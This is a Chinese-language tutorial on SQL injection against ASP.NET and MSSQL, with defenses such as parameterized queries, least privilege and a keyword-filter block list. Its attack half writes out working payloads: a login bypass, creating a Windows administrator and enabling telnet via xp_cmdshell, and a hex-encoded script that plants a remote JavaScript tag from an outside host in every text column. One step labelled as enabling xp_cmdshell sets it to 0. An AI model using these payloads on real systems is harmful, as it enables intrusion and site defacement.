SQL 注入攻防入門詳解

2021-03-02 數據分析與開發

(點擊上方公眾號,可快速關注)

作者:滴答的雨

www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html

如有好文章投稿,請點擊 → 這裡了解詳情

畢業開始從事winfrm到今年轉到 web ,在碼農屆已經足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發……必須的各種藉口。這幾天把sql注入的相關知識整理了下,希望大家多多提意見。

(對於sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什麼好經驗,為避免後知後覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)

下面的程序方案是採用 ASP.NET + MSSQL,其他技術在設置上會有少許不同。

什麼是SQL注入(SQL Injection)

所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙伺服器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。

嘗嘗SQL注入

1.   一個簡單的登錄頁面

關鍵代碼:

privateboolNoProtectLogin(string userName, string password)

{

int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format

       ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));

return count > 0 ? true : false;

}

方法中userName和 password 是沒有經過任何處理,直接拿前端傳入的數據,這樣拼接的SQL會存在注入漏洞。(帳戶:admin  123456)

1)   輸入正常數據,效果如圖:

合併的SQL為:

SELECT COUNT(*) FROM Login WHERE UserName=』admin』 AND Password=』123456′


2)   輸入注入數據:

如圖,即用戶名為:用戶名:admin』—,密碼可隨便輸入

    

合併的SQL為:

   

SELECT COUNT(*) FROM Login WHERE UserName=』admin』– Password=』123′

因為UserName值中輸入了「–」注釋符,後面語句被省略而登錄成功。(常常的手法:前面加上『; 『 (分號,用於結束前一條語句),後邊加上『–『 (用於注釋後邊的語句))

2.   上面是最簡單的一種SQL注入,常見的注入語句還有:
1)   猜測資料庫名,備份資料庫

a)   猜測資料庫名: and db_name() >0 或系統表master.dbo.sysdatabases

b)   備份資料庫:;backup database 資料庫名 to disk = 『c:*.db』;–

或:declare a sysname;set @a=db_name();backup database a to disk=』你的IP你的共享目錄bak.dat』 ,name=’test』;–

2)   猜解欄位名稱

a)   猜解法:and (select count(欄位名) from 表名)>0   若「欄位名」存在,則返回正常

b)   讀取法:and (select top 1 col_name(object_id(『表名『),1) from sysobjects)>0   把col_name(object_id(『表名『),1)中的1依次換成2,3,4,5,6…就可得到所有的欄位名稱。

3)   遍歷系統的目錄結構,分析結構並發現WEB虛擬目錄(伺服器上傳木馬)

先創建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

a)   利用xp_availablemedia來獲得當前所有驅動器,並存入temp表中

;insert temp exec master.dbo.xp_availablemedia;–

b)   利用xp_subdirs獲得子目錄列表,並存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs 『c:』;–

c)   利用xp_dirtree可以獲得「所有」子目錄的目錄樹結構,並存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree 『c:』;– (實驗成功)

d)   利用 bcp 命令將表內容導成文件

即插入木馬文本,然後導出存為文件。比如導出為asp文件,然後通過瀏覽器訪問該文件並執行惡意腳本。(使用該命令必須啟動』 xp_cmdshell』)

Exec master..xp_cmdshell N』BCP 「select * from SchoolMarket.dbo.GoodsStoreData;」 queryout c:/inetpub/wwwroot/runcommand.asp -w -S」localhost」 -U」sa」 -P」123″『

(注意:語句中使用的是雙引號,另外表名格式為「資料庫名.用戶名.表名」)

在sql查詢器中通過語句:Exec master..xp_cmdshell N』BCP』即可查看BCP相關參數,如圖:


4)   查詢當前用戶的資料庫權限

MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通過1=(select IS_SRVROLEMEMBER(『sysadmin』))得到當前用戶是否具有該權限。

5)   設置新的資料庫帳戶(得到MSSQL管理員帳戶)

d)   在資料庫內添加一個hax用戶,默認密碼是空

;exec sp_addlogin』hax』;–

e)   給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)

;exec master.dbo.sp_password null,password,username;–

f)   將hax添加到sysadmin組

;exec master.dbo.sp_addsrvrolemember 『hax』 ,’sysadmin』;–

6)   xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員帳戶 )

通過(5)獲取到sysadmin權限的帳戶後,使用查詢分析器連接到資料庫,可通過xp_cmdshell運行系統命令行(必須是sysadmin權限),即使用 cmd.exe 工具,可以做什麼自己多了解下。

下面我們使用xp_cmdshell來創建一個 Windows 用戶,並開啟遠程登錄服務:

a)   判斷xp_cmdshell擴展存儲過程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 『X』 AND name =』xp_cmdshell』

b)   恢復xp_cmdshell擴展存儲過程

Exec master.dbo.sp_addextendedproc 『xp_cmdshell』,』e:inetputwebxplog70.dll』;

開啟後使用xp_cmdshell還會報下面錯誤:

SQL Server 阻止了對組件 『xp_cmdshell』 的過程 『sys.xp_cmdshell』 的訪問,因為此組件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 『xp_cmdshell』。有關啟用 『xp_cmdshell』 的詳細信息,請參閱 SQL Server 聯機叢書中的 「外圍應用配置器「。

通過執行下面語句進行設置:

— 允許配置高級選項

EXEC sp_configure 『show advanced options』, 1

GO

— 重新配置

RECONFIGURE

GO

— 啟用xp_cmdshell

EXEC sp_configure 『xp_cmdshell』, 0

GO

—重新配置

RECONFIGURE

GO

c)   禁用xp_cmdshell擴展存儲過程

Exec master.dbo.sp_dropextendedproc 『xp_cmdshell』;

d)   添加windows用戶:

Exec xp_cmdshell 『net user awen /add』;

e)   設置好密碼:

Exec xp_cmdshell 『net user awen password』;

f)   提升到管理員:

Exec xp_cmdshell 『net localgroup administrators awen /add』;

g)   開啟telnet服務:

Exec xp_cmdshell 『net start tlntsvr』

7)   沒有xp_cmdshell擴展程序,也可創建Windows帳戶的辦法.

(本人windows7系統,測試下面SQL語句木有效果)

declare shell int ;

execsp_OAcreate 『w script .shell』,shell output ;

execsp_OAmethod shell,』run』,null,』C:WindowsSystem32cmd.exe /c net user awen /add』;

execsp_OAmethod shell,』run』,null,』C:WindowsSystem32cmd.exe /c net user awen 123′;

execsp_OAmethod shell,』run』,null,』C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add』;

在使用的時候會報如下錯:

SQL Server 阻止了對組件 『Ole Automation Procedures』 的過程 『sys.sp_OACreate』、『sys.sp_OAMethod』 的訪問,因為此組件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 『Ole Automation Procedures』。有關啟用 『Ole Automation Procedures』 的詳細信息,請參閱 SQL Server 聯機叢書中的 「外圍應用配置器「。

        

解決辦法:

sp_configure 『show advanced options』, 1;

GO

RECONFIGURE;

GO

sp_configure 『Ole Automation Procedures』, 1;

GO

RECONFIGURE;

GO

好了,這樣別人可以登錄你的伺服器了,你怎麼看?

8)   客戶端腳本攻擊

攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到資料庫中,當其他用戶瀏覽此內容時就會受到惡意腳本的攻擊。

措施:轉義提交的內容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉換為HTML編碼的字符串。

攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到資料庫中,直接使用SQL語法UPDATE資料庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL經過「HEX編碼」,然後通過exec可以執行「動態」SQL的特性運行腳本」。

a)   向當前資料庫的每個表的每個欄位插入一段惡意腳本

Declare T Varchar(255),C Varchar(255)

Declare Table_Cursor Cursor For

Select A.Name,B.Name

From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor

Fetch Next From  Table_Cursor Into @T,@C

While(@@Fetch_Status=0)

Begin

Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor

b)   更高級的攻擊,將上面的注入SQL進行「HEX編碼」,從而避免程序的關鍵字檢查、腳本轉義等,通過EXEC執行

dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;

eXeC(@s);--

c)   批次刪除資料庫被注入的腳本

declare @delStrnvarchar(500)

set @delStr='' --要被替換掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%''' execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '資料庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!' close cur deallocate cur setnocount off

d)   我如何得到「HEX編碼」?

開始不知道HEX是什麼東西,後面查了是「十六進位」,網上已經給出兩種轉換方式:(注意轉換的時候不要加入十六進位的標示符 』0x』 )

Ø 在線轉換 (TRANSLATOR, BINARY),進入……

Ø  C#版的轉換,進入……

9)   對於敏感詞過濾不到位的檢查,我們可以結合函數構造SQL注入

比如過濾了update,卻沒有過濾declare、exec等關鍵詞,我們可以使用reverse來將倒序的sql進行注入:

declare A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');

防止SQL注入

1.   資料庫權限控制,只給訪問資料庫的web應用功能所需的最低權限帳戶。

如MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

2.   自定義錯誤信息,首先我們要屏蔽伺服器的詳細錯誤信息傳到客戶端。

在 ASP.NET 中,可通過web.config配置文件的節點設置:

<customerrors defaultredirect="url" mode="On|Off|RemoteOnly">

  <error. .=""/>

</customerrors>

mode:指定是啟用或禁用自定義錯誤,還是僅向遠程客戶端顯示自定義錯誤。

On指定啟用自定義錯誤。如果未指定defaultRedirect,用戶將看到一般性錯誤。Off指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。RemoteOnly指定僅向遠程客戶端顯示自定義錯誤並且向本地主機顯示 ASP.NET 錯誤。這是默認值。

看下效果圖:

設置為一般性錯誤:

設置為:


3.   把危險的和不必要的存儲過程刪除

xp_:擴展存儲過程的前綴,SQL注入攻擊得手之後,攻擊者往往會通過執行xp_cmdshell之類的擴展存儲過程,獲取系統信息,甚至控制、破壞系統。

xp_cmdshell能執行dos命令,通過語句sp_dropextendedproc刪除,

不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000、windows7)

xpsql70.dll(sqlserer 7.0)

xp_fileexist用來確定一個文件是否存在xp_getfiledetails可以獲得文件詳細資料xp_dirtree可以展開你需要了解的目錄,獲得所有目錄深度Xp_getnetname可以獲得伺服器名稱Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

可以訪問註冊表的存儲過程Sp_OACreate

Sp_OADestroy

Sp_OAGetErrorInfo

Sp_OAGetProperty

Sp_OAMethod

Sp_OASetProperty

Sp_OAStop

如果你不需要請丟棄OLE自動存儲過程
4.   非參數化SQL與參數化SQL
1)   非參數化(動態拼接SQL)

a)   檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的HTML特殊轉義字符轉換掉。

b)   類型檢查:對接收數據有明確要求的,在方法內進行類型驗證。如數值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數字等。

c)   長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那麼嚴格控制10個字符長度,一些注入語句就沒辦法進行。

d)   使用枚舉:如果只有有限的幾個值,就用枚舉。

e)   關鍵字過濾:這個門檻比較高,因為各個資料庫存在關鍵字,內置函數的差異,所以對編寫此函數的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數還請留言分享下,學習學習,謝謝!

這邊提供一個關鍵字過濾參考方案(MSSQL):

public static bool ValiParms(string parms)

{

    if (parms == null)

    {

        return false;

    }

    Regex regex = new Regex("sp_", RegexOptions.IgnoreCase);

    Regex regex2 = new Regex("'", RegexOptions.IgnoreCase);

    Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase);

    Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase);  

    Regex regex5 = new Regex(""", RegexOptions.IgnoreCase);

    Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase);

    Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase);

    Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase);

    Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase);

    Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase);

    Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase);

    return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));

}

優點:寫法相對簡單,網絡傳輸量相對參數化拼接SQL小

缺點:

a)   對於關鍵字過濾,常常「顧此失彼」,如漏掉關鍵字,系統函數,對於HEX編碼的SQL語句沒辦法識別等等,並且需要針對各個資料庫封裝函數。

b)   無法滿足需求:用戶本來就想發表包含這些過濾字符的數據。

c)   執行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。伺服器的物理內存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。

2)   參數化查詢(Parameterized Query)

a)   檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關鍵字過濾這些操作也是需要的。他們能儘早檢查出數據的有效性。

b)   參數化查詢原理:在使用參數化查詢的情況下,資料庫伺服器不會將參數的內容視為SQL指令的一部份來處理,而是在資料庫完成 SQL 指令的編譯後,才套用參數運行,因此就算參數中含有具有損的指令,也不會被資料庫所運行。

c)   所以在實際開發中,入口處的安全檢查是必要的,參數化查詢應作為最後一道安全防線。

優點:

Ø  防止SQL注入(使單引號、分號、注釋符、xp_擴展函數、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)

Ø  參數化查詢能強制執行類型和長度檢查。

Ø  在MSSQL中生成並重用查詢計劃,從而提高查詢效率(執行一條SQL語句,其生成查詢計劃將消耗大於50%的時間)

缺點:

Ø  不是所有資料庫都支持參數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用資料庫支持參數化查詢。

疑問:參數化如何「批量更新」資料庫。

a) 通過在參數名上增加一個計數來區分開多個參數化語句拼接中的同名參數。

EG:

StringBuilder sqlBuilder=new StringBuilder(512);

Int count=0;

For(循環)

{

sqlBuilder.AppendFormat(「UPDATE login SET password=@password{0} WHERE username=@userName{0}」,count.ToString());

SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}

……

Count++;

}

b) 通過MSSQL 2008的新特性:表值參數,將C#中的整個表當參數傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數設置parameter.SqlDbType = System.Data.SqlDbType.Structured;  詳細請查看……

疑慮:有部份的開發人員可能會認為使用參數化查詢,會讓程序更不好維護,或者在實現部份功能上會非常不便,然而,使用參數化查詢造成的額外開發成本,通常都遠低於因為SQL注入攻擊漏洞被發現而遭受攻擊,所造成的重大損失。

另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法

--清空緩存的查詢計劃

DBCC FREEPROCCACHE

GO

--查詢緩存的查詢計劃

SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]  

FROM sys.dm_exec_cached_plans p

OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql

JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle

GO

3)   參數化查詢示例

效果如圖:

參數化關鍵代碼:

Private bool ProtectLogin(string userName, string password)

{

    SqlParameter[] parameters = new SqlParameter[]

    {

        new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},

        new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}

    };

    int count = (int)SqlHelper.Instance.ExecuteScalar

        ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);

    return count > 0 ? true : false;

}

5.   存儲過程

存儲過程(Stored Procedure)是在大型資料庫系統中,一組為了完成特定功能的SQL 語句集,經編譯後存儲在資料庫中,用戶通過指定存儲過程的名字並給出參數(如果該存儲過程帶有參數)來執行它。

優點:

a)   安全性高,防止SQL注入並且可設定只有某些用戶才能使用指定存儲過程。

b)   在創建時進行預編譯,後續的調用不需再重新編譯。

c)   可以降低網絡的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。

缺點:

a)   非應用程式內聯代碼,調式麻煩。

b)   修改麻煩,因為要不斷的切換開發工具。(不過也有好的一面,一些易變動的規則做到存儲過程中,如變動就不需要重新編譯應用程式)

c)   如果在一個程序系統中大量的使用存儲過程,到程序交付使用的時候隨著用戶需求的增加會導致數據結構的變化,接著就是系統的相關問題了,最後如果用戶想維護該系統可以說是很難很難(eg:沒有VS的查詢功能)。

關鍵代碼為:

cmd.CommandText = procName; // 傳遞存儲過程名

cmd.CommandType = CommandType.StoredProcedure; // 標識解析為存儲過程

如果在存儲過程中SQL語法很複雜需要根據邏輯進行拼接,這時是否還具有放注入的功能?

答:MSSQL中可以通過 EXEC 和sp_executesql動態執行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數值, EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數化防止SQL注入。

關鍵代碼:

a)   sp_executesql

CREATE PROCEDURE PROC_Login_executesql(

@userNamenvarchar(10),

@password nvarchar(10),

@count int OUTPUT

)

AS

BEGIN

   DECLARE s nvarchar(1000);

set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';

   EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output

END

b)   EXECUTE(注意sql中拼接字符,對於字符參數需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)

CREATE PROCEDURE PROC_Login_EXEC(

@userNamenvarchar(10),

@password varchar(20)

)

AS

BEGIN

   DECLARE s nvarchar(1000);

set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';

EXEC('DECLARE @count int;' +@s+'select @count');

END

注入截圖如下:


6.   專業的SQL注入工具及防毒軟體

情景1

A:「丫的,又中毒了……」

B:「我看看,你這不是裸機在跑嗎?」

電腦上至少也要裝一款殺毒軟體或木馬掃描軟體,這樣可以避免一些常見的侵入。比如開篇提到的SQL創建windows帳戶,就會立馬報出警報。

情景2

    A:「終於把網站做好了,太完美了,已經檢查過沒有漏洞了!」

    A:「網站怎麼被黑了,怎麼入侵的???」

    

公司或個人有財力的話還是有必要購買一款專業SQL注入工具來驗證下自己的網站,這些工具畢竟是專業的安全人員研發,在安全領域都有自己的獨到之處。

7.   額外小知識:LIKE中的通配符

儘管這個不屬於SQL注入,但是其被惡意使用的方式是和SQL注入類似的。

%包含零個或多個字符的任意字符串。_任何單個字符。[]指定範圍(例如 [a-f])或集合(例如 [abcdef])內的任何單個字符。[^]不在指定範圍(例如 [^a – f])或集合(例如 [^abcdef])內的任何單個字符。

在模糊查詢LIKE中,對於輸入數據中的通配符必須轉義,否則會造成客戶想查詢包含這些特殊字符的數據時,這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。

注意使用通配符的索引性能問題:

a)   like的第一個字符是『%』或『_』時,為未知字符不會使用索引, sql會遍歷全表。

b)   若通配符放在已知字符後面,會使用索引。

網上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執行語法查看索引使用情況卻都沒有使用索引,可能在別的資料庫中會使用到索引吧……

截圖如下:

有兩種將通配符轉義為普通字符的方法:

1)   使用ESCAPE關鍵字定義轉義符(通用)

在模式中,當轉義符置於通配符之前時,該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請使用:

        WHERE ColumnA LIKE 『%5/%%』 ESCAPE 『/』


2)   在方括號 ([ ]) 中只包含通配符本身,或要搜索破折號(-) 而不是用它指定搜索範圍,請將破折號指定為方括號內的第一個字符。EG:符號含義LIKE 『5[%]』5%LIKE 『5%』5 後跟 0 個或多個字符的字符串LIKE 『[_]n』_nLIKE 『_n』an, in, on (and so on)LIKE 『[a-cdf]』a、b、c、d 或 fLIKE 『[-acdf]』–、a、c、d 或 fLIKE 『[ [ ]』[LIKE 『]』]   (右括號不需要轉義)

所以,進行過輸入參數的關鍵字過濾後,還需要做下面轉換確保LIKE的正確執行

看完本文有收穫?請轉發分享給更多人

關注「資料庫開發」,提升 DB 技能

相關焦點

  • SQL注入攻擊詳解
    注入可以藉助資料庫的存儲過程進行提權等操作4、判斷Sql注入點4.1 判斷是否存在sql注入漏洞通常情況下,可能存在 Sql 注入漏洞的 Url 是類似這種形式 :http://xxx.xxx.xxx/abcd.php?id=XX對 Sql 注入的判斷,主要有兩個方面:判斷該帶參數的 Url 是否存在 Sql 注入?
  • Java web安全黑客攻防之sql注入
    1.什麼是sql注入sql注入通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙伺服器執行惡意的SQL命令通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙伺服器執行惡意的SQL
  • 徹底幹掉噁心的 SQL 注入漏洞, 一網打盡!
    這裡需要注意的是,使用了PreparedStatement 並不意味著不會產生注入,如果在使用PreparedStatement之前,存在拆分sql語句,那麼仍然會導致注入,如// 拼接 sqlString sql = "SELECT *
  • Myql SLEEP函數和SQL注入
    sqlmap是使用Python編寫的一款資料庫sql注入掃描工具,目前支持常見的mysql、oracel、postgresql、sql server,access,db2,sqlite等數據的安全漏洞(sql注入)。
  • 特殊場景的sql注入思路
    上一篇介紹了sql注入的基礎知識以及手動注入方法,但是在實際的環境中往往不會像靶場中那樣簡單。今天我就來為大家介紹一種特殊場景的sql注入思路。用戶名與密碼分開驗證的情況第一個場景我們以We Chall平臺的Training: MySQL II 一題為例。
  • SQL注入的幾種類型和原理
    id=%2527" -b --batch --thread=10二次注入原理二次注入的重點在於添加進資料庫的惡意數據被二次調用。這裡兩個關鍵。第一:添加進的資料庫使我們構造的惡意數據(需要考慮到轉義等炒作),第二:惡意數據被二次調用觸發注入。方法這裡以sqli-labs 的 Lless24 進行二次注入練習。
  • 【雲演情報】Discuz_7.2_faq.php_sql注入;全球IPv4地址正式耗盡;FB與Twitter再現漏洞.
    四葉草網絡安全學院致力於網絡安全攻防實戰型人才培養,學院總結多年一線實網攻防經驗與案例,自研實戰攻防安全教學體系,結合線上、線下培訓、競賽以及攻防實戰等形式培養和提升實戰能力。Discuz!Discuz_7.2在faq.php存在sql注入漏洞,攻擊者可以利用此漏洞執行任意的sql命令,可以造成資料庫信息洩露,嚴重者可導致伺服器被控制。
  • 常見web漏洞(Sql注入、XSS、CSRF)原理以及攻防總結
    作者:quanweibai     文章來源:GitHubSql注入所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串
  • SQL注入、XSS以及CSRF分別是什麼?
    什麼是SQL注入、XSS和CSRF?本篇文章就來帶大家了解一下SQL注入、XSS和CSRF,有一定的參考價值,有需要的朋友可以參考一下,希望對你有所幫助。SQL注入SQL注入是屬於注入式攻擊,這種攻擊是因為在項目中沒有將代碼與數據(比如用戶敏感數據)隔離,在讀取數據的時候,錯誤的將數據作為代碼的一部分執行而導致的。典型的例子就是當對SQL語句進行字符串拼接的時候,直接使用未轉義的用戶輸入內容作為變量。
  • SQL注入常規Fuzz全記錄
    前言本篇文章是在做ctf bugku的一道sql 盲注的題(題目地址:注入題目)中運用了fuzz的思路,完整記錄整個fuzz的過程
  • 淺談開啟magic_quote_gpc後的sql注入攻擊與防範
    SQL語句:$sql="select * from users where username=$name and password='$pwd'";注意:變量$name沒加引號此時,在地址欄中輸入username=admin%23,則合成後的sql語句為:select * from users where username='admin\' #' and password='
  • SQL 注入常規 Fuzz 全記錄
    (給數據分析與開發加星標,提升數據技能)來自:FreeBuf.COM,作者:Conanwww.freebuf.com/articles/web/190019.html前言本文是在做ctf bugku的一道sql
  • web安全之SQL注入(16)——delete和like注入
    delete from users where id=14 一般情況是網站後臺的sql語句,當我們測試刪除功能是否存在注入時,一定你要是用and測試,不要使用or測試。當使用or進行測試,跟一個布爾假值,這時如果前面的條件為真,你使用or跟一個假值,只會刪除一條數據,這裡問題不大,繼續測試
  • 什麼是SQL 注入?
    SQL注入是一種非常常見的資料庫攻擊手段,SQL注入漏洞也是網絡世界中最普遍的漏洞之一。大家也許都聽過某某學長通過攻擊學校資料庫修改自己成績的事情,這些學長們一般用的就是SQL注入方法。SQL注入其實就是惡意用戶通過在表單中填寫包含SQL關鍵字的數據來使資料庫執行非常規代碼的過程。簡單來說,就是數據「越俎代庖」做了代碼才能幹的事情。
  • SQL Server應用程式的高級Sql注入
    [概 要] 這篇文章討論常用的"sql注入"技術的細節,應用於流行的Ms IIS/ASP/SQL-Server平臺。這裡探討有關這種攻擊各種可以注入程序訪問數據和資料庫防範的方法。如果攻擊者可以插一系列的SQL語句進入應用程式的數據查詢時,Sql注入攻擊就可能發生。 一個典型的SQL語句是這樣的: select id, forename, surname from authors 這個查詢語句將會從'authors'表中返回'id','forename'和'surname'列的所有行。
  • desc巧用及反引號 ` SQL注入——【61dctf】 inject writeup
    $_GET['table']:"test";$table = Filter($table);mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?
  • CTF入門指南 | 內附教程分享
    網絡協議分析A方向:IDA工具使用(fs插件)、逆向工程、密碼學、緩衝區溢出等B方向:Web安全、網絡安全、內網滲透、資料庫安全等 前10的安全漏洞推薦書:A方向:RE for BeginnersIDA Pro權威指南揭秘家庭路由器0day漏洞挖掘技術自己定作業系統黑客攻防技術寶典
  • 大數據分析工程師入門9-Spark SQL
    本文為《大數據分析師入門課程》系列的第9篇,在本系列的第8篇-Spark基礎中,已經對Spark做了一個入門介紹,在此基礎上本篇拎出Spark SQL,主要站在使用者的角度來進行講解,需要注意的是本文中的例子的代碼均使用Scala語言。
  • 最詳細的SQL注入相關的命令整理
    /display.asp,行177、 列出當前所有的資料庫名稱:select * from master.dbo.sysdatabases 列出所有列的記錄select name from master.dbo.sysdatabases 僅列出name列的記錄8、 不需xp_cmdshell支持在有注入漏洞的SQL伺服器上運行CMD命令:create
  • CTF從入門到提升(三)
    A方向:IDA工具使用(fs插件)、逆向工程、密碼學、緩衝區溢出等;B方向:Web安全、網絡安全、內網滲透、資料庫安全等 前10的安全漏洞;5.黑客攻防技術寶典:系統實戰篇 有各種系統的逆向講解1.Web應用安全權威指南(最推薦小白,宏觀web安全)4.黑客攻防技術寶典 web實戰篇 web安全的所有核心基礎點,有挑戰性,最常規,最全,學好會直線上升